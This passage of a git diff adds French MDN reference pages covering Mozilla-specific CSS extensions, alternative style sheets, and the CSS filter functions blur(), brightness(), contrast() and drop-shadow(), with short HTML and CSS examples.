+ <li><code>-moz-grid-group</code>{{Obsolete_Inline(62)}}</li>
+ <li><code>-moz-grid-line</code>{{Obsolete_Inline(62)}}</li>
+ <li><code>-moz-groupbox</code>{{Obsolete_Inline}}</li>
+ <li><code>-moz-deck</code>{{Obsolete_Inline(62)}}</li>
+ <li><code>-moz-popup</code>{{Obsolete_Inline(62)}}</li>
+ <li><code>-moz-stack</code>{{Obsolete_Inline(62)}}</li>
+ <li><code>-moz-marker</code>{{Obsolete_Inline(62)}}</li>
+</ul>
+</div>
+
+<h3 id="cssxref(empty-cells)">{{cssxref("empty-cells")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-show-background</code> (valeur par défaut en <em>quirks mode</em>)</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(font)">{{Cssxref("font")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-button</code></li>
+ <li><code>-moz-info</code></li>
+ <li><code>-moz-desktop</code></li>
+ <li><code>-moz-dialog</code> (également une couleur)</li>
+ <li><code>-moz-document</code></li>
+ <li><code>-moz-workspace</code></li>
+ <li><code>-moz-window</code></li>
+ <li><code>-moz-list</code></li>
+ <li><code>-moz-pull-down-menu</code></li>
+ <li><code>-moz-field</code> (également une couleur)</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(font-family)">{{Cssxref("font-family")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-fixed</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(image-rendering)">{{Cssxref("image-rendering")}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("image-rendering","-moz-crisp-edges")}} {{Gecko_minversion_inline("1.9.2")}}</li>
+</ul>
+</div>
+
+<h3 id="cssxref(&lt;length>)">{{cssxref("&lt;length&gt;")}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("-moz-calc")}} {{gecko_minversion_inline("2.0")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(list-style-type)">{{Cssxref("list-style-type")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-arabic-indic</code></li>
+ <li><code>-moz-bengali</code></li>
+ <li><code>-moz-cjk-earthly-branch</code></li>
+ <li><code>-moz-cjk-heavenly-stem</code></li>
+ <li><code>-moz-devanagari</code></li>
+ <li><code>-moz-ethiopic-halehame</code></li>
+ <li><code>-moz-ethiopic-halehame-am</code></li>
+ <li><code>-moz-ethiopic-halehame-ti-er</code></li>
+ <li><code>-moz-ethiopic-halehame-ti-et</code></li>
+ <li><code>-moz-ethiopic-numeric</code></li>
+ <li><code>-moz-gujarati</code></li>
+ <li><code>-moz-gurmukhi</code></li>
+ <li><code>-moz-hangul</code></li>
+ <li><code>-moz-hangul-consonant</code></li>
+ <li><code>-moz-japanese-formal</code></li>
+ <li><code>-moz-japanese-informal</code></li>
+ <li><code>-moz-kannada</code></li>
+ <li><code>-moz-khmer</code></li>
+ <li><code>-moz-lao</code></li>
+ <li><code>-moz-malayalam</code></li>
+ <li><code>-moz-myanmar</code></li>
+ <li><code>-moz-oriya</code></li>
+ <li><code>-moz-persian</code></li>
+ <li><code>-moz-simp-chinese-formal</code></li>
+ <li><code>-moz-simp-chinese-informal</code></li>
+ <li><code>-moz-tamil</code></li>
+ <li><code>-moz-telugu</code></li>
+ <li><code>-moz-thai</code></li>
+ <li><code>-moz-trad-chinese-formal</code></li>
+ <li><code>-moz-trad-chinese-informal</code></li>
+ <li><code>-moz-urdu</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(overflow)">{{Cssxref("overflow")}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("-moz-scrollbars-none")}} {{obsolete_inline}}</li>
+ <li>{{Cssxref("-moz-scrollbars-horizontal")}} {{Deprecated_inline}}</li>
+ <li>{{Cssxref("-moz-scrollbars-vertical")}} {{Deprecated_inline}}</li>
+ <li>{{Cssxref("-moz-hidden-unscrollable")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(text-align)">{{Cssxref("text-align")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-center</code></li>
+ <li><code>-moz-left</code></li>
+ <li><code>-moz-right</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(text-decoration)">{{Cssxref("text-decoration")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-anchor-decoration</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(-moz-user-select)">{{Cssxref("-moz-user-select")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-all</code></li>
+ <li><code>-moz-none</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(width)_Cssxref(min-width)_and_Cssxref(max-width)">{{Cssxref("width")}}, {{Cssxref("min-width")}}, and {{Cssxref("max-width")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-min-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-fit-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-max-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-available</code> {{Fx_minversion_inline(3)}}</li>
+</ul>
+</div>
+
+<h2 id="Pseudo-éléments_et_pseudo-classes">Pseudo-éléments et pseudo-classes</h2>
+
+<div class="index">
+<ul>
+ <li>
+  <h3 id="A_–_D">A – D</h3>
+ </li>
+ <li>{{CSSxRef("::-moz-anonymous-block")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{CSSxRef("::-moz-anonymous-positioned-block")}}</li>
+ <li>{{CSSxRef(":-moz-any")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef(":-moz-any-link")}} [Matches <code>:link</code> and <code>:visited</code>]</li>
+ <li>{{CSSxRef(":-moz-broken")}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef("::-moz-canvas")}}</li>
+ <li>{{CSSxRef("::-moz-color-swatch")}}</li>
+ <li>{{CSSxRef("::-moz-cell-content")}}</li>
+ <li>{{CSSxRef(":-moz-drag-over")}}</li>
+ <li>
+  <h3 id="F_–_I">F – I</h3>
+ </li>
+ <li>{{CSSxRef(":-moz-first-node")}}</li>
+ <li>{{CSSxRef("::-moz-focus-inner")}}</li>
+ <li>{{CSSxRef("::-moz-focus-outer")}}</li>
+ <li>{{CSSxRef(":-moz-focusring")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef(":-moz-full-screen")}}{{gecko_minversion_inline("9.0")}}</li>
+ <li>{{CSSxRef(":-moz-full-screen-ancestor")}}{{gecko_minversion_inline("10.0")}}</li>
+ <li>{{CSSxRef(":-moz-handler-blocked")}}{{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{CSSxRef(":-moz-handler-crashed")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef(":-moz-handler-disabled")}}{{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{CSSxRef("::-moz-inline-table")}}</li>
+ <li>
+  <h3 id="L">L</h3>
+ </li>
+ <li>{{CSSxRef(":-moz-last-node")}}</li>
+ <li>{{CSSxRef(":-moz-list-bullet")}}</li>
+ <li>{{CSSxRef(":-moz-list-number")}}</li>
+ <li>{{CSSxRef(":-moz-loading")}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-locale-dir(ltr)")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef(":-moz-locale-dir(rtl)")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef(":-moz-lwtheme")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef(":-moz-lwtheme-brighttext")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef(":-moz-lwtheme-darktext")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>
+  <h3 id="N_–_R">N – R</h3>
+ </li>
+ <li>{{CSSxRef(":-moz-native-anonymous")}}{{gecko_minversion_inline("36")}}</li>
+ <li>{{CSSxRef(":-moz-only-whitespace")}}</li>
+ <li>{{CSSxRef("::-moz-page")}}</li>
+ <li>{{CSSxRef("::-moz-page-sequence")}}</li>
+ <li>{{CSSxRef("::-moz-pagebreak")}}</li>
+ <li>{{CSSxRef("::-moz-pagecontent")}}</li>
+ <li>{{CSSxRef(":-moz-placeholder")}}{{gecko_minversion_inline("1.9")}}{{Obsolete_Inline("51")}}</li>
+ <li>{{CSSxRef("::-moz-placeholder")}}{{gecko_minversion_inline("19")}}{{Deprecated_Inline("51")}}</li>
+ <li>{{CSSxRef("::-moz-progress-bar")}}</li>
+ <li>{{CSSxRef("::-moz-range-progress")}}</li>
+ <li>{{CSSxRef("::-moz-range-thumb")}}</li>
+ <li>{{CSSxRef("::-moz-range-track")}}</li>
+ <li>{{CSSxRef(":-moz-read-only")}}</li>
+ <li>{{CSSxRef(":-moz-read-write")}}</li>
+ <li>
+  <h3 id="S">S</h3>
+ </li>
+ <li>{{CSSxRef("::-moz-scrolled-canvas")}}</li>
+ <li>{{CSSxRef("::-moz-scrolled-content")}}</li>
+ <li>{{CSSxRef("::-moz-scrolled-page-sequence")}}</li>
+ <li>{{CSSxRef("::selection","::-moz-selection")}}{{Deprecated_Inline(62)}}</li>
+ <li>{{CSSxRef(":-moz-submit-invalid")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef(":-moz-suppressed")}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef("::-moz-svg-foreign-content")}}</li>
+ <li>
+  <h3 id="T">T</h3>
+ </li>
+ <li>{{CSSxRef("::-moz-table")}}</li>
+ <li>{{CSSxRef("::-moz-table-cell")}}</li>
+ <li>{{CSSxRef("::-moz-table-column")}}</li>
+ <li>{{CSSxRef("::-moz-table-column-group")}}</li>
+ <li>{{CSSxRef("::-moz-table-outer")}}</li>
+ <li>{{CSSxRef("::-moz-table-row")}}</li>
+ <li>{{CSSxRef("::-moz-table-row-group")}}</li>
+ <li>{{CSSxRef(":-moz-tree-cell")}}</li>
+ <li>{{CSSxRef(":-moz-tree-cell-text")}}</li>
+ <li>{{CSSxRef(":-moz-tree-cell-text(hover)")}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-tree-checkbox")}}</li>
+ <li>{{CSSxRef(":-moz-tree-column")}}</li>
+ <li>{{CSSxRef(":-moz-tree-drop-feedback")}}</li>
+ <li>{{CSSxRef(":-moz-tree-image")}}</li>
+ <li>{{CSSxRef(":-moz-tree-indentation")}}</li>
+ <li>{{CSSxRef(":-moz-tree-line")}}</li>
+ <li>{{CSSxRef(":-moz-tree-progressmeter")}}</li>
+ <li>{{CSSxRef(":-moz-tree-row")}}</li>
+ <li>{{CSSxRef(":-moz-tree-row(hover)")}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-tree-separator")}}</li>
+ <li>{{CSSxRef(":-moz-tree-twisty")}}</li>
+ <li>
+  <h3 id="U_–_X">U – X</h3>
+ </li>
+ <li>{{CSSxRef(":-moz-ui-invalid")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef(":-moz-ui-valid")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef(":-moz-user-disabled")}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef("::-moz-viewport")}}</li>
+ <li>{{CSSxRef("::-moz-viewport-scroll")}}</li>
+ <li>{{CSSxRef(":-moz-window-inactive")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef("::-moz-xul-anonymous-block")}}</li>
+</ul>
+</div>
+
+<h2 id="Règles">Règles @</h2>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("@-moz-document")}}</li>
+</ul>
+</div>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("@media/-moz-mac-graphite-theme", "-moz-mac-graphite-theme")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-maemo-classic", "-moz-maemo-classic")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-device-pixel-ratio", "-moz-device-pixel-ratio")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{CSSxRef("@media/-moz-os-version", "-moz-os-version")}}</li>
+ <li>{{CSSxRef("@media/-moz-scrollbar-end-backward", "-moz-scrollbar-end-backward")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-scrollbar-end-forward", "-moz-scrollbar-end-forward")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-scrollbar-start-backward", "-moz-scrollbar-start-backward")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-scrollbar-start-forward", "-moz-scrollbar-start-forward")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-scrollbar-thumb-proportional", "-moz-scrollbar-thumb-proportional")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-touch-enabled", "-moz-touch-enabled")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-accent-color-in-titlebar", "-moz-windows-accent-color-in-titlebar")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-classic", "-moz-windows-classic")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-compositor", "-moz-windows-compositor")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-default-theme", "-moz-windows-default-theme")}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-glass", "-moz-windows-glass")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-theme", "-moz-windows-theme")}}{{gecko_minversion_inline("2.0")}}</li>
+</ul>
+</div>
+
+<h2 id="Autres">Autres</h2>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("-moz-alt-content")}} {{Bug("11011")}}</li>
+</ul>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Mozilla/Gecko/Chrome/CSS">CSS Mozilla uniquement destiné au chrome (l'interface du navigateur)</a></li>
+ <li><a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">Extensions CSS spécifiques à Microsoft</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference/Extensions_WebKit">Extensions CSS spécifiques à WebKit</a></li>
+</ul>
diff --git a/files/fr/web/css/feuilles_de_style_alternatives/index.html b/files/fr/web/css/feuilles_de_style_alternatives/index.html
new file mode 100644
index 0000000000..cc96a123e1
--- /dev/null
+++ b/files/fr/web/css/feuilles_de_style_alternatives/index.html
@@ -0,0 +1,77 @@
+---
+title: Feuilles de style alternatives
+slug: Web/CSS/Feuilles_de_style_alternatives
+tags:
+  - CSS
+  - NeedsCompatTable
+  - Reference
+translation_of: Web/CSS/Alternative_style_sheets
+---
+<div>{{CSSRef}}</div>
+
+<p>En proposant <strong>des feuilles de style alternatives</strong>, une page web permet à ses utilisateurs de pouvoir choisir parmi différentes version d'une page selon leurs besoins ou leurs préférences.</p>
+
+<p>Firefox permet à l'utilisateur de sélectionner le style de la page en utilisant le menu « Affichage &gt; Style de la page », Internet Explorer possède également cette fonctionnalité (depuis IE8), accesssible via « Affichage &gt; Style de la page ». Pour Chrome, il est nécessaire d'utiliser une extension afin de pouvoir utiliser cette fonctionnalité. La page web peut également fournir un élément d'interface utilisateur afin de permettre à l'utilisateur de passer d'un style à un autre.</p>
+
+<h2 id="Exemple_d'application_définir_des_feuilles_de_style_alternatives">Exemple d'application : définir des feuilles de style alternatives</h2>
+
+<p>Pour indiquer des feuilles de style alternatives, on utilisera un élément {{HTMLElement("link")}} avec les attributs <code>rel="stylesheet alternate"</code> et <code>title="..."</code>. Ainsi :</p>
+
+<pre class="brush: html">&lt;link href="reset.css" rel="stylesheet" type="text/css"&gt;
+
+&lt;link href="default.css" rel="stylesheet" type="text/css" title="Style par défaut"&gt;
+&lt;link href="joli.css" rel="alternate stylesheet" type="text/css" title="Joli"&gt;
+&lt;link href="basique.css" rel="alternate stylesheet" type="text/css" title="Basique"&gt;
+</pre>
+
+<p>Dans cet exemple, les styles « Style par défaut », « Joli » et « Basique » seront listés dans le menu « Style de la page ». C'est le style par défaut (il n'y a pas de composante <code>alternate</code> pour l'attribut <code>rel</code>) qui sera sélectionné. Lorsque l'utilisateur choisit un autre style, la page est alors immédiatement affichée avec cette feuille de style.</p>
+
+<p>Quel que soit la mise en forme choisie, les règles provenant de la feuille <code>reset.css</code> seront toujours appliquées.</p>
+
+<h2 id="Détails">Détails</h2>
+
+<p>Une feuille de style fera partie d'une de ces trois catégories :</p>
+
+<ul>
+ <li><strong>Persistante</strong> (aucun <code>rel="alternate"</code>, aucun <code>title=""</code>) : la feuille de style s'applique au document quoi qu'il arrive</li>
+ <li><strong>Préférée</strong> (aucun <code>rel="alternate"</code>, un attribut <code>title="..."</code> défini) : la feuille de style est appliquée par défaut mais est désactivée si une autre feuille de style est sélectionnée. <strong>Il ne peut y avoir qu'une seule feuille de style préférée</strong>. Si plusieurs feuilles de style sont fournies avec différentes valeurs pour l'attribut <code>title</code>, certaines seront ignorées.</li>
+ <li><strong>Alternative</strong> (<code>rel="stylesheet alternate"</code>, un attribut <code>title="..."</code> défini) : la feuille de style est désactivée par défaut mais peut être sélectionnée.</li>
+</ul>
+
+<p>Lorsqu'une feuille de style contient un attribut <code>title</code> sur l'élément {{HTMLElement("link", "&lt;link rel=\"stylesheet\"&gt;")}} ou sur l'élément {{HTMLElement("style")}}, ce titre est l'une des options proposées à l'utilisateur. Les feuilles de style qui contiennent le même titre (<code>title</code> a la même valeur) s'appliqueront toutes pour ce choix. Enfin, les feuilles de style qui n'ont aucun attribut <code>title</code> seront toujours appliquées.</p>
+
+<p>On utilisera <code>rel="stylesheet"</code> pour pointer vers la feuille de style par défaut et <code>rel="alternate stylesheet"</code> pour pointer vers les feuilles de style alternatives. Cela permet à l'agent utilisateur de savoir quelle feuille doit être appliquée par défaut ; c'est aussi cette valeur qui sera utilisée pour les navigateurs qui ne prennent pas en charge cette fonctionnalité.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#css-style-sheet-collections', 'CSS Style Sheet Collections')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>La spécification CSS OM définit les concepts de <strong>nom d'ensemble de feuilles de style</strong>, le <strong>marqueur « désactivé »</strong> et le <strong>nom d'ensemble de feuilles de style CSS préférées</strong>.<br>
+    Cette spécification définit comment ces concepts sont déterminés, elle laisse à la spécification HTML le soin de définir les comportements spécifiques à HTML qui doit notamment définir <strong><dfn>quand est créée une feuille de style CSS</dfn></strong>.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('HTML WHATWG', 'semantics.html#link-type-stylesheet', 'Link type "stylesheet"')}}<br>
+     {{SpecName('HTML WHATWG', 'semantics.html#attr-style-title', 'The style element')}}<br>
+     {{SpecName('HTML WHATWG', 'semantics.html#attr-meta-http-equiv-default-style', 'Default style state (http-equiv="default-style")')}}</p>
+   </td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>La spécification HTML définit quand et comment <strong><dfn>créer un algorithme déterminant la feuille de style CSS</dfn></strong><dfn> et qui gère les éléments <code>&lt;link&gt;</code> et <code>&lt;style&gt;</code>. Elle définit également le comportement de <code>&lt;meta </code></dfn><code>http-equiv="default-style"&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "present/styles.html#h-14.3", "Alternative style sheets")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>La spécification HTML définit le concept de feuilles de style préférées et alternatives.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/filter-function/blur()/index.html b/files/fr/web/css/filter-function/blur()/index.html
new file mode 100644
index 0000000000..ae64a917d5
--- /dev/null
+++ b/files/fr/web/css/filter-function/blur()/index.html
@@ -0,0 +1,40 @@
+---
+title: blur()
+slug: Web/CSS/filter-function/blur()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/blur()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>blur()</code></strong> permet d'appliquer <a href="https://en.wikipedia.org/wiki/Gaussian_blur">une flou gaussien</a> sur l'image d'entrée. Le résultat de cette fonction est une valeur {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-blur.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">blur(<em>rayon</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>rayon</code></dt>
+ <dd>Le rayon d'application du flou, défini par une longueur CSS ({{cssxref("&lt;length&gt;")}}). Cela définit l'écart-type de la fonction gaussienne appliquée (c'est-à-dire le nombre de pixels qui se mélangeront). Ainsi, plus la valeur est grande, plus le flou sera prononcé. Si on utilise la longueur nulle <code>0</code>, l'image ne sera pas modifiée. La valeur utilisée par défaut lors d'une interpolation est <code>0</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">blur(0);        /* Aucun effet */
+blur(8px);      /* Un flou avec un rayon de 8px */
+blur(1.17rem);  /* Un flou avec un rayon de 1.17rem */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/brightness()/index.html b/files/fr/web/css/filter-function/brightness()/index.html
new file mode 100644
index 0000000000..d06071ac24
--- /dev/null
+++ b/files/fr/web/css/filter-function/brightness()/index.html
@@ -0,0 +1,41 @@
+---
+title: brightness()
+slug: Web/CSS/filter-function/brightness()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/brightness()
+---
+<div>{{cssref}}</div>
+
+<p>La fonction CSS <strong><code>brightness()</code></strong> applique un multiplicateur linéaire sur une image afin de la rendre plus claire ou plus sombre. Le résultat obtenu est une valeur de type {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-brightness.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">brightness(<em>multiplicateur</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>multiplicateur</code></dt>
+ <dd>L'amplification de la clarté de l'image, indiquée sous la forme d'un nombre ({{cssxref("&lt;number&gt;")}}) ou d'un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Une valeur inférieure à <code>100%</code> assombrira l'image alors qu'une valeur supérieure à <code>100%</code> la rendra plus claire. Une valeur de <code>0%</code> permettra d'obtenir une image complètement noire et une valeur de <code>100%</code> laissera l'image inchangée. La valeur par défaut utilisée lors de l'interpolation est <code>1</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">brightness(0%)   /* Complètement noir */
+brightness(0.4)  /* 40% de la clarté */
+brightness(1)    /* Aucun effet */
+brightness(200%) /* Double la clarté */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/contrast()/index.html b/files/fr/web/css/filter-function/contrast()/index.html
new file mode 100644
index 0000000000..714787a110
--- /dev/null
+++ b/files/fr/web/css/filter-function/contrast()/index.html
@@ -0,0 +1,41 @@
+---
+title: contrast()
+slug: Web/CSS/filter-function/contrast()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/contrast()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>contrast()</strong></code> permet d'ajuster le contraste d'une image. Le résultat de cette fonction est une valeur de type {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-contrast.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">contrast(<em>multiplicateur</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>multiplicateur</code></dt>
+ <dd>La modification de contraste à appliquer à l'image, exprimée sous la forme d'un nombre ({{cssxref("&lt;number&gt;")}}) ou d'un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Une valeur inférieure à <code>100%</code> réduira le contraste et une valeur supérieure à <code>100%</code> accentuera le contraste. Une valeur de <code>0%</code> permettra d'obtenir une image complètement grise et une valeur de <code>100%</code> laissera l'image inchangée. La valeur par défaut utilisée pour les interpolations est <code>1</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">contrast(0);     /* Completely gray */
+contrast(65%);   /* 65% contrast */
+contrast(1);     /* No effect */
+contrast(200%);  /* Double contrast */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/drop-shadow()/index.html b/files/fr/web/css/filter-function/drop-shadow()/index.html
new file mode 100644
index 0000000000..51b2288aac
--- /dev/null
+++ b/files/fr/web/css/filter-function/drop-shadow()/index.html
@@ -0,0 +1,62 @@
+---
+title: drop-shadow()
+slug: Web/CSS/filter-function/drop-shadow()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Type
+translation_of: Web/CSS/filter-function/drop-shadow()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>drop-shadow()</code></strong> permet d'appliquer une ombre portée sur une image. Le résultat obtenu par cette fonction est une valeur {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-drop-shadow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>En pratique, une ombre portée correspond à une version floutée et décalée du masque alpha de l'image, dessiné dans une couleur donnée et fusionné sous l'image.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette fonction s'apparente à la propriété {{cssxref("box-shadow")}}. La propriété <code>box-shadow</code> permet de créer une ombre rectangulaire sous <strong>la boîte entière</strong> d'un élément. En revanche, la fonction <code>drop-shadow()</code> permet de créer un ombre qui épouse la forme (le canal alpha) de <strong>l'image même</strong>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">drop-shadow(<em>décalage-x</em>, <em>décalage-y</em>, <em>rayon-flou</em>, <em>rayon-étalement</em>, <em>couleur</em>)</pre>
+
+<p>La fonction <code>drop-shadow()</code> accepte un paramètre de type <code>&lt;shadow&gt;</code> (défini avec la propriété {{cssxref("box-shadow")}}), mais où le mot-clé <code>inset</code> n'est pas autorisé.</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>décalage-x</code> <code>décalage-y</code></dt>
+ <dd>Deux longueurs ({{cssxref("&lt;length&gt;")}}) qui déterminent le décalage de l'ombre sous l'image. <code>décalage-x</code> indique la distance horizontale (les valeurs négatives décalent l'ombre vers la gauche et les valeurs positives la décalent vers la droite). <code>décalage-y</code> indique la distance verticale (les valeurs négatives décalent l'ombre vers le haut et les valeurs positives vers le bas). Si les deux valeurs sont égales à <code>0</code>, l'ombre est directement placée sous l'image.</dd>
+ <dt><code>rayon-flou</code> {{optional_inline}}</dt>
+ <dd>Une longueur ({{cssxref("&lt;length&gt;")}}) qui représente le rayon du flou. Plus la valeur est élevée, plus l'ombre sera grande et floue. La valeur par défaut est <code>0</code> ce qui correspond à un contour net, sans flou. Il n'est pas possible d'utiliser des valeurs négatives</dd>
+ <dt><code>rayon-étalement</code>{{optional_inline}}</dt>
+ <dd>Le rayon d'étalement de l'ombre, défini sous la forme d'une longueur ({{cssxref("&lt;length&gt;")}}). Les valeurs positives permettent d'avoir une ombre plus grande et plus étendue et les valeurs négatives permettent de réduire la zone d'ombre. La valeur par défaut est <code>0</code> : l'ombre a alors la même taille que l'image.</dd>
+ <dd>
